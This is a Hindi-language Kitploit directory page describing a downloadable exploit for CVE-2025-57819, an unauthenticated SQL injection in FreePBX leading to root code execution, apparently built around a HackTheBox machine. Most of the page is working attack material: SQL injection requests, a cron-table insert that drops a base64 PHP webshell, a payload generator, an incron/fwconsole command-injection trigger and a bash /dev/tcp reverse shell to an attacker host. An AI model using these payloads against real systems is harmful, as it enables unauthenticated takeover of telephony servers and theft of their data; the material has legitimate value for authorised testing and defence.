Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
FreePBX-CVE-2025-57819 — FreePBX में बिना प्रमाणीकरण के SQL Injection से Remote Code Execution — CVE-2025-57819 | Kitploit
उपकरण/GitHubGitHub/yuvrajshad/freepbx-cve-2025-57819
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगपेलोड डेवलपमेंट
GitHubyuvrajshad/freepbx-cve-2025-57819

FreePBX-CVE-2025-57819

FreePBX में बिना प्रमाणीकरण के SQL Injection से Remote Code Execution — CVE-2025-57819

रिपॉजिटरी देखें
1153 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

FreePBX CVE-2025-57819 — बिना प्रमाणीकरण के SQLi से रूट RCE तक

गंभीरता: क्रिटिकल
प्रकार: बिना प्रमाणीकरण के SQL इंजेक्शन → रिमोट कोड एक्ज़ीक्यूशन
प्रभावित सॉफ्टवेयर: FreePBX (endpoint मॉड्यूल)
परीक्षण किया गया: CentOS 7 पर FreePBX, Apache 2.4, PHP 7.4, MariaDB 5.5

अवलोकन

FreePBX के endpoint मॉड्यूल में /admin/ajax.php के brand पैरामीटर के माध्यम से एक बिना प्रमाणीकरण वाली SQL इंजेक्शन भेद्यता मौजूद है। इस भेद्यता का शोषण करने के लिए किसी क्रेडेंशियल की आवश्यकता नहीं है।

FreePBX के आंतरिक क्रॉन जॉब तंत्र और incron/fwconsole हुक प्रणाली के साथ मिलकर, यह पूर्ण रूप से बिना प्रमाणीकरण वाला रूट शेल प्रदान करता है।

हमले की श्रृंखला

root@kitploit:~
[No Auth Required]
        │
        ▼
Unauthenticated SQL Injection
(/admin/ajax.php → brand parameter)
        │
        ├──► Extract DB credentials, user hashes
        │
        ├──► INSERT into cron_jobs
        │         │
        │         └──► PHP webshell dropped in web root
        │                   │
        │                   └──► RCE as asterisk (user flag)
        │
        └──► Write incron trigger file (as asterisk)
                  │
                  └──► sysadmin_manager fires as root
                            │
                            └──► fwconsole hook → Root Shell

उपयोग

root@kitploit:~
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>

उदाहरण:

root@kitploit:~
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999

आउटपुट:

root@kitploit:~
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version  : 5.5.65-MariaDB
[+] DB User  : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!

यह कैसे काम करता है

चरण 1 — SQL इंजेक्शन

endpoint मॉड्यूल AJAX हैंडलर में brand पैरामीटर बिना किसी सैनिटाइज़ेशन के सीधे SQL क्वेरी में पास किया जाता है:

root@kitploit:~
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
    &command=model&template=x&model=model
    &brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

यह XPATH एरर के अंदर डेटाबेस का नाम लौटाता है — यह एरर-आधारित SQLi की एक क्लासिक तकनीक है। स्टैक्ड क्वेरी भी समर्थित हैं, जो INSERT, UPDATE, और DELETE ऑपरेशन की अनुमति देती हैं।

चरण 2 — क्रॉन के माध्यम से वेबशेल

स्टैक्ड क्वेरी का उपयोग करके, FreePBX की cron_jobs टेबल में एक क्रॉन जॉब डाली जाती है:

root@kitploit:~
INSERT INTO cron_jobs 
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES 
  ('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
   NULL, '* * * * *', 30, 1, 1)

FreePBX का क्रॉन रनर इसे हर मिनट निष्पादित करता है, जिससे वेब रूट में एक PHP वेबशेल डाल दी जाती है।

चरण 3 — Incron + fwconsole हुक के माध्यम से रूट

incrond /var/spool/asterisk/incron/ पर नज़र रखता है (जो asterisk उपयोगकर्ता द्वारा लिखने योग्य है)। जब वहाँ कोई फ़ाइल बनाई जाती है, तो यह /usr/bin/sysadmin_manager को रूट के रूप में ट्रिगर करता है।

फ़ाइलनाम प्रारूप api.fwconsole-commands.<payload> निम्न स्थान पर पहले से मौजूद GPG-हस्ताक्षरित हुक से मैप होता है:

root@kitploit:~
/var/www/html/admin/modules/api/hooks/fwconsole-commands

हुक फ़ाइलनाम को base64(zlib(json([cmd, txn_id]))) पेलोड के रूप में डिकोड करता है और निष्पादित करता है:

root@kitploit:~
$cmd = "/usr/sbin/fwconsole $command 2>&1";

help; को प्रीफिक्स के रूप में उपयोग करने से fwconsole इसे एक वैध कमांड के रूप में स्वीकार कर लेता है, और ; मनमाने शेल कमांड को जोड़ता है:

root@kitploit:~
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

यह रूट के रूप में निष्पादित होता है, जिससे पूर्ण रूट शेल प्राप्त होता है।

मैन्युअल शोषण

चरण 1 — SQLi सत्यापित करें

root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"

चरण 2 — वेबशेल डालें

root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"

चरण 3 — रूट पेलोड जनरेट करें

root@kitploit:~
# Save to file to avoid shell quoting issues
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
    zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py

चरण 4 — रूट शेल ट्रिगर करें

root@kitploit:~
# On the target (as asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"

विश्लेषण के दौरान प्रमुख निष्कर्ष

प्रकटीकरण समयरेखा

दिनांकघटना
2025भेद्यता खोजी गई और रिपोर्ट की गई
2025-11-30HackTheBox पर बॉक्स तैनात किया गया
2025CVE-2025-57819 निर्धारित किया गया

अस्वीकरण

यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। उन प्रणालियों के विरुद्ध उपयोग न करें जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है।

संदर्भ

  • watchTowr Labs PoC
  • FreePBX सुरक्षा सलाह
  • CVE-2025-57819 विवरण
टूल डाउनलोड करें
निष्कर्षविवरण
डेटाबेसasterisk (MariaDB 5.5.65)
DB उपयोगकर्ताfreepbxuser@localhost
वेब उपयोगकर्ताasterisk (uid=999)
क्रॉन टेबलSQLi के माध्यम से लिखने योग्य
Incron निर्देशिका/var/spool/asterisk/incron/ (asterisk द्वारा लिखने योग्य)
विशेषाधिकार वृद्धिfwconsole हुक incrond के माध्यम से रूट के रूप में चलता है
रूट विधिIncron ट्रिगर → हस्ताक्षरित fwconsole हुक → कमांड इंजेक्शन